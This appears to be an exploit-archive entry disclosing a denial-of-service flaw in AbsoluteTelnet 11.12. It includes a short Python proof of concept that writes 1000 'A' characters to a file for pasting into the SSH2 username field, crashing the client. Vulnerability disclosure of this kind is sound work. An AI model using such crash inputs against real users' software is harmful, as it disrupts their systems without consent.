AbsoluteTelnet 11.12 SSH2/username Denial of Service

2020.02.08

Credit: chuyreds

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
#Steps to produce the crash:
#1.- Run python code: AbsoluteTelnet 11.12_username_ssh2.py
#2.- Open absolutetelnet_username_SSH2.txtabsolutetelnet_username.txt and copy content to clipboard
#3.- Open AbsoluteTelnet
#4.- Select "new connection file", "Connection", "SSH2", "Use last username"
#5.- In "username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed
buffer = "\x41" * 1000
f = open ("absolutetelnet_username_SSH2.txt", "w")
f.write(buffer)
f.close()

See this note in RAW Version

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AbsoluteTelnet 11.12 SSH2/username Denial of Service

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